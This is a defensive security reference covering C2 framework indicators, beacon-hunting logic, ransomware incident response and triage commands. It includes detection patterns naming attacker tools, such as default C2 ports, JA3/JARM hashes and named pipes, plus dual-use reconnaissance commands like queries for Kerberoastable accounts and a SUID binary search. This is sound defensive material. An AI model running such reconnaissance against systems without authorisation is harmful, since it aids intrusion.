  • Sleep obfuscation: periodic RX→RW→RX memory region changes
  • Indirect syscalls: stack anomalies — syscall not from ntdll.dll
  • Named pipe: \\.\pipe\Demon_XXXXXXXX
Metasploit / Meterpreter
Open Source
The most widely known open-source exploitation framework by Rapid7. Used for exploit development, payload generation, and post-exploitation. Meterpreter is its primary implant. Heavily signature-detected by AV — attackers often use custom encoders or stagers to evade.
MeterpreterRuby 4444 defaultCross-platform
Detection IOCs & Indicators
  • Default reverse TCP listener port: 4444
  • Meterpreter staging URL: GET /[32 hex chars]
  • Reverse TCP: outbound from unexpected process to port 4444
  • Meterpreter in memory: reflective DLL load, no file on disk
  • Sysmon Event 8: CreateRemoteThread into explorer.exe / notepad.exe
  • HTTPS Meterpreter: self-signed cert with default Metasploit OIDs
Brute Ratel C4
Commercial (cracked)
Commercial C2 framework by Chetan Nayak (Paranoid Ninja), designed explicitly to evade EDR solutions with built-in AMSI bypass, ETW patching, and detection-aware sleep. A cracked version was seen in TA577 and state-sponsored group operations from 2022.
EDR evasionBadger implant No shellcode injectionWindows
Detection IOCs & Indicators
  • "Badger" implant — delivered via process hollowing or DLL sideloading
  • RC4-encrypted C2 traffic over HTTP/S with custom URI patterns
  • Default server port: 443 with specific TLS fingerprint
  • AMSI/ETW bypass: identical byte-patching patterns to Cobalt Strike
  • Cracked license strings detectable in binary
Mythic
Open Source
Modular C2 framework by its_a_feature. Docker-based teamserver with a plugin architecture for agents (Apollo, Poseidon, Athena). Highly extensible — agents written in C#, Go, Python, and more. Popular in sophisticated red team ops.
Modular agentsDocker WebSocket C2Cross-platform
Detection IOCs & Indicators
  • Default HTTPS port: 7443, HTTP: 80
  • WebSocket upgrade for C2 channel — persistent WS connection
  • Apollo (.NET): CLR loaded into unmanaged process
  • Poseidon (Go): large Go binary, similar to Sliver indicators
  • Athena (.NET): cross-platform, SMB/TCP named pipe C2
PowerShell Empire
Open Source
Post-exploitation framework maintained by BC-Security. PowerShell and Python agents. Primarily Windows-focused. Less common in modern ops due to heavy PowerShell logging detection, but still used in targeted attacks and seen in APT33 and FIN7 operations.
PowerShell agentPython agent RC4 encryptedWindows / Linux
Detection IOCs & Indicators
  • PowerShell Event 4104: base64 stager with System.Net.WebClient
  • Default staging URIs: /index.asp, /login/process.php
  • RC4-encrypted HTTP with Base64-encoded body
  • Default User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0)
  • Spoofed server header: Microsoft-IIS/7.5
Nighthawk
Commercial
Commercial C2 framework by MDSec marketed exclusively to vetted red teams. Designed with extreme detection evasion as the primary goal — low-and-slow beaconing, heavy sleep obfuscation, and minimal memory footprint. Very few public IOCs available.
Sleep obfuscationLow-and-slow Minimal IOCsWindows
Detection IOCs & Indicators
  • Extremely long beacon intervals (minutes to hours) with high jitter
  • Heavy sleep obfuscation — nearly invisible in memory scans
  • Very few public IOCs — behavioural detection is primary method
  • Focus on: anomalous process network activity, parent-child chains
Quick Reference — At a Glance
FrameworkTypeImplantDefault Port(s)Known Actors
Cobalt StrikeCommercial (cracked)Beacon (shellcode)50050 / 80 / 443APT29, Lazarus, LockBit, BlackCat, most ransomware groups
SliverOpen SourceGo binary (native)31337 / 443TA505, emerging threat actors (CS alternative)
HavocOpen SourceDemon (shellcode)40056 / 443Emerging actors (2022+), APT-adjacent ops
MetasploitOpen SourceMeterpreter (reflective DLL)4444 / 443Commodity attackers, opportunistic, CTF
Brute Ratel C4Commercial (cracked)Badger (shellcode)443TA577, NOBELIUM-linked, state-sponsored
MythicOpen SourceApollo / Poseidon / Athena7443 / 80Sophisticated red teams, emerging actors
PowerShell EmpireOpen SourcePS1 / Python agent80 / 443APT33, FIN7, financially motivated groups
NighthawkCommercialNighthawk agent443Vetted red teams, nation-state adjacent
IOC TypeIndicatorDetection Source
Beacon intervalDefault 60s with ±30% jitter — regular time-delta clusteringProxy/firewall logs, NetFlow analysis
JA3 fingerprint72a7c9feebf2d402dd4432ad7d37a441 (default HTTPS profile)Zeek / Suricata JA3 logging
TLS certificateDefault self-signed cert: C=Earth, ST=Somewhere, O=cobaltstrike (configurable)TLS cert inspection, certificate transparency
Named pipe\\.\pipe\MSSE-XXXX-server, \\.\pipe\postex_*Sysmon Event 17/18, EDR pipe events
Staging URIShort random path e.g. /aB3x followed by large responseProxy logs, HTTP content inspection
Process injectionCreateRemoteThread / NtCreateThreadEx into svchost, rundll32, explorerSysmon Event 8, EDR injection telemetry
Memory indicatorsPE with no backing file on disk, MZ header in non-module memory regionEDR memory scanning, Volatility
JARM fingerprintC2 server JARM: 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1JARM scanning tool against suspected C2 IPs
Beaconing Detection — Network Hunting Logic
## STEP 1: Find regular beacon intervals
# Group outbound connections by src_ip + dst_ip + dst_port
# Calculate standard deviation of time deltas
# Flag: stddev < 10s for connections > 20 occurrences

## STEP 2: Flag low-data-volume periodic connections
# Heartbeat beacons: ~500 bytes each, very consistent size
# Cobalt Strike default: ~96 bytes GET, ~200 byte response

## STEP 3: Hunt for suspicious TLS characteristics
# Self-signed cert on an IP (no domain or newly registered domain)
# Certificate validity > 1 year issued to generic/random OU
# JA3 hash matching known C2 signatures (feed from threat intel)

## STEP 4: Correlate with endpoint telemetry
# Parent: which process is making the connection?
# svchost.exe / rundll32.exe connecting to external IPs = red flag
# Unsigned binary making outbound HTTPS = investigate

## STEP 5: DNS-based C2 hunting
# High volume DNS queries from single host
# Subdomains with high entropy (random-looking labels)
# TXT record queries — common C2 data channel
# Queries for newly registered / low-rep domains
Section 06
Incident Response
06.01IR Phases — Frameworks

Incident Response follows a structured lifecycle. The NIST SP 800-61r2 model is the most widely adopted; SANS PICERL is more granular. All frameworks share the same core loop: detect → contain → eradicate → recover → improve.

NIST SP 800-61r2 Phases
01
Preparation
IR plan, playbooks, tools, team training, detection baseline
02
Detection & Analysis
Identify via SIEM, EDR, IDS, users. Triage and assess severity.
03
Containment
Short-term isolation, then long-term containment strategy
04
Eradication
Remove malware, close access, patch vulnerability, clean systems
05
Recovery
Restore from clean backups, monitor for recurrence
06
Post-Incident
Root cause, full timeline, lessons learned, control improvements
Framework Comparison
FrameworkPhasesNotes
NIST SP 800-61r2Preparation → Detection & Analysis → Containment, Eradication & Recovery → Post-IncidentUS government standard; widely adopted globally
SANS PICERLPreparation → Identification → Containment → Eradication → Recovery → Lessons LearnedMore granular — splits detection into Identification phase
ISO/IEC 27035Plan & Prepare → Detect & Report → Assess & Decide → Respond → Lessons LearntInternational standard; integrates with ISO 27001 ISMS
06.02Ransomware IR Playbook

A structured playbook for responding to ransomware incidents. Do not follow steps in isolation — run detection, isolation, and preservation in parallel where possible. Evidence preservation is time-critical.

Response Phases
PhaseActionNotes
① Detect
IdentifyConfirm ransomware via ransom note, encrypted file extensions, bulk rename eventsCheck for vssadmin delete shadows in process events
ClassifyIdentify family using extension, ransom note format, ID Ransomware websiteCheck nomoreransom.org for free decryptors first
② Isolate
Network IsolateImmediately disconnect affected hosts from network — do NOT power offPreserve memory for forensics; some ransomware has kill switches that wipe on reboot
ScopeIdentify all affected systems via SIEM / EDR search for encryption indicatorsCheck file server access logs for mass read/write patterns across shares
③ Preserve
Memory CaptureCapture RAM from affected systems (Magnet RAM Capture, WinPmem)Ransomware encryption keys, C2 URLs, and injected code may only exist in memory
Forensic ImageImage affected disk before any cleanupRequired for legal proceedings; use hardware write blockers
Collect LogsPull SIEM, EDR, firewall, DNS, proxy, VPN logs immediatelyCollect before retention windows expire or attacker clears them
④ Investigate
Determine Entry PointTrace back to initial access: phishing? RDP brute-force? Vulnerable VPN? Supply chain?Check email gateway, VPN logs, external firewall for earliest suspicious activity
Map TimelineBuild full attack timeline: initial access → C2 → persistence → lateral movement → encryptionUse SIEM, EDR telemetry, and MFT ($MFT) timestamps for accuracy
⑤ Notify
InternalAlert management, legal, IT leadership per incident escalation matrixDocument all communications and decisions with timestamps
RegulatoryAssess mandatory notification requirements (PDPA, GDPR, HIPAA) within required timeframesSingapore MAS: notification within 1 hour for significant incidents
Law EnforcementReport to relevant agencies (SingCERT, FBI, CISA) as appropriateRequired for critical infrastructure; enables ransom payment tracking
⑥ Eradicate & Recover
Check PersistenceAudit all persistence locations before restoring (§04.04)Ransomware groups maintain backdoors to re-encrypt if paid
Reset CredentialsReset ALL domain accounts — service accounts, admin accounts, and krbtgt (twice)Assume all credentials on affected systems are fully compromised
Rebuild / RestoreRebuild from known-clean images; restore data from offline backups onlyValidate backup integrity before reconnecting to network
Patch Entry PointPatch the vulnerability that enabled initial access before going liveSame entry point is reused in 80%+ of ransomware re-infections
🚫 Do NOT pay the ransom without legal counsel. Payment may violate sanctions laws (OFAC). It does not guarantee decryption. It directly funds further attacks. Always check nomoreransom.org for free decryptors first — approximately 40% of businesses that pay do not recover all their data.
Section 07
Reference & Utilities
07.01Active Directory PowerShell

PowerShell is the primary tool for both AD administration and AD enumeration/exploitation. These cmdlets cover legitimate admin tasks and the exact commands attackers run for reconnaissance. Knowing both sides lets you distinguish admin activity from attacker activity in PowerShell logs and SIEM alerts.

# ── USER QUERIES ──
Get-ADUser -Identity $user -Properties *
Get-ADUser -Filter {Enabled -eq $false} | Select Name, SamAccountName
Get-ADUser -Filter {PasswordNeverExpires -eq $true} | Select Name
Get-ADUser -Identity $user -Properties PasswordLastSet, LastLogonDate

# ── LOCKED / DISABLED ──
Search-ADAccount -LockedOut | Select Name, LockedOut, LastLogonDate
Search-ADAccount -AccountDisabled -UsersOnly | Select Name, SamAccountName
Unlock-ADAccount -Identity $user

# ── GROUP QUERIES ──
Get-ADGroupMember -Identity "Domain Admins" -Recursive | Select Name, SamAccountName
Get-ADPrincipalGroupMembership -Identity $user | Select Name
Get-ADGroup -Filter {Name -like "Admin*"} | Select Name

# ── COMPUTER QUERIES ──
Get-ADComputer -Identity $hostname -Properties *
Get-ADComputer -Filter {OperatingSystem -Like "*Server*"} | Select Name, OperatingSystem
Test-ComputerSecureChannel -ComputerName $hostname

# ── DOMAIN INFO ──
Get-ADDomain
Get-ADDomainController -Filter * | Select Name, IPV4Address, IsGlobalCatalog
Get-ADForest

# ── DETECT KERBEROASTABLE ACCOUNTS ──
Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and Enabled -eq $true} `
  -Properties ServicePrincipalName | Select Name, ServicePrincipalName

# ── DETECT AS-REP ROASTABLE ACCOUNTS ──
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true -and Enabled -eq $true} | Select Name

# ── GPO ──
Get-GPO -All | Select DisplayName, GpoStatus
Invoke-GPUpdate -Computer $hostname -Force
07.02Linux Commands

Linux command-line proficiency is essential for investigating Linux endpoints, containers, and servers. This section covers the commands used for triage, log analysis, process investigation, and network inspection on Linux systems. Use during live response on Linux hosts or when reviewing bash history and audit logs.

System & Process
uname -a                          # Kernel + system info
whoami && id                      # Current user and groups
cat /etc/passwd | grep -v nologin # Users with login shells
w && last                         # Who is logged in / login history
ps auxf                           # Process tree
pstree -p                         # Visual process tree with PIDs
lsof -i                           # Open network connections by process
ss -tulnp                         # Listening ports + PIDs (modern)
netstat -tulnp                    # Listening ports (legacy)
find / -perm -4000 2>/dev/null    # SUID binaries (priv esc vectors)
crontab -l && cat /etc/cron*      # Scheduled tasks (persistence)
Log Parsing
tail -f /var/log/auth.log                          # Live auth events
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn  # Brute force IPs
grep "Accepted publickey\|Accepted password" /var/log/auth.log  # Successful logins
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head  # Top IPs in access log
grep -E "40[0-9]|50[0-9]" access.log | awk '{print $7}' | sort | uniq -c | sort -rn  # Error URLs
journalctl -u ssh --since "1 hour ago"            # SSH events (systemd)
ausearch -m USER_LOGIN -ts recent                 # Audit log logins
07.03Windows Commands

Windows command-line tools are essential for triage, lateral movement investigation, and live response on Windows endpoints. These commands cover process enumeration, network state, service inspection, and registry queries — the same tools both administrators and attackers use. Pair with Sysmon Event 4688 process creation logs.

:: System info
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Domain"
whoami /all                          :: User, groups, privileges
net user %USERNAME% /domain          :: AD user details
wmic product get name,version        :: Installed software

:: Network
netstat -ano                         :: Connections with PIDs
netstat -ano | findstr ESTABLISHED   :: Active connections only
ipconfig /all                        :: Network config with MAC

:: Processes
tasklist /svc                        :: Processes with hosted services
wmic process get name,processid,parentprocessid,commandline  :: Full process info
Get-WmiObject Win32_Process | Select Name,ProcessId,ParentProcessId,CommandLine

:: Event log (PowerShell)
Get-WinEvent -LogName Security -MaxEvents 100 | Where-Object {$_.Id -in 4624,4625,4648,4672}
Get-WinEvent -LogName System -MaxEvents 50 | Where-Object {$_.LevelDisplayName -eq "Error"}

:: Autoruns / persistence
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
schtasks /query /fo LIST /v | findstr /i "task name\|status\|run as"
FINDSTR Reference
FlagDescription
/BMatch at beginning of line
/EMatch at end of line
/RUse regex patterns
/SSearch subdirectories recursively
/ICase-insensitive
/VPrint lines that do NOT match
/NPrint line numbers
/MPrint only filename if match found
07.04Regex Cheat Sheet

Regular expressions are used across SIEM queries, log parsers, EDR rules, YARA signatures, and Sigma rules. This cheat sheet covers the most common patterns needed for writing detection rules and parsing log data. Use it when building custom detection logic or extracting indicators from unstructured log output.

ExpressionDescriptionExample
^Start of string/line^ERROR — lines starting with ERROR
$End of string/line\.log$ — strings ending in .log
.Any single character (except newline)1.2.3.4 matches "1x2y3z4"
*Zero or more of precedingab* → "a", "ab", "abbb"
+One or more of precedingab+ → "ab", "abbb" (not "a")
?Zero or one (optional)https?:// → http or https
|ORERROR|WARN|CRIT
\s / \SWhitespace / non-whitespace\S+@\S+\.\S+ → email-like
\d / \DDigit / non-digit\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3} → IPv4
\w / \WWord char [a-zA-Z0-9_] / non-word\w+ → username
\bWord boundary\badmin\b → "admin" not "administrator"
[abc]Character class[A-Fa-f0-9]{32} → MD5 hash
[^abc]Negated character class[^\d] → non-digit
{n,m}Between n and m repetitions\d{4}-\d{2}-\d{2} → date
(...)Capture group(\d+\.\d+\.\d+\.\d+) → capture IP
(?:...)Non-capture groupGroup without capturing
(?=...)Positive lookahead\w+(?=\.exe) → executable name
(?!...)Negative lookahead(?!192\.168)\d+\.\d+ → non-private
Useful Security Patterns
# IPv4 address
\b(?:\d{1,3}\.){3}\d{1,3}\b

# MD5 hash
\b[a-fA-F0-9]{32}\b

# SHA256 hash
\b[a-fA-F0-9]{64}\b

# Windows file path
[A-Za-z]:\\(?:[^\\/:*?"<>|\r\n]+\\)*[^\\/:*?"<>|\r\n]*

# Email address
[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}

# Base64 encoded string (common in C2/malware)
(?:[A-Za-z0-9+\/]{4})*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=|[A-Za-z0-9+\/]{4})

# PowerShell encoded command (threat hunting)
-[Ee][Nn][Cc][Oo][Dd][Ee][Dd][Cc][Oo][Mm][Mm][Aa][Nn][Dd]
07.05Clear Network Cache

DNS cache poisoning and stale records can cause resolution failures or redirect traffic to attacker infrastructure. These commands flush local and system DNS caches across platforms. Use during incident response when investigating DNS-based C2, cache poisoning attempts, or after blocking malicious domains to ensure resolution changes take effect immediately.

ipconfig /flushdns       :: Flush DNS resolver cache
ipconfig /release        :: Release current DHCP lease
ipconfig /renew          :: Request new DHCP lease
arp -d *                 :: Clear ARP cache (Windows)
netsh winsock reset      :: Reset Winsock catalog (requires reboot)
netsh int ip reset       :: Reset TCP/IP stack (requires reboot)
# Linux equivalents
sudo systemd-resolve --flush-caches   # systemd-resolved
sudo service nscd restart             # nscd
sudo killall -HUP mDNSResponder       # macOS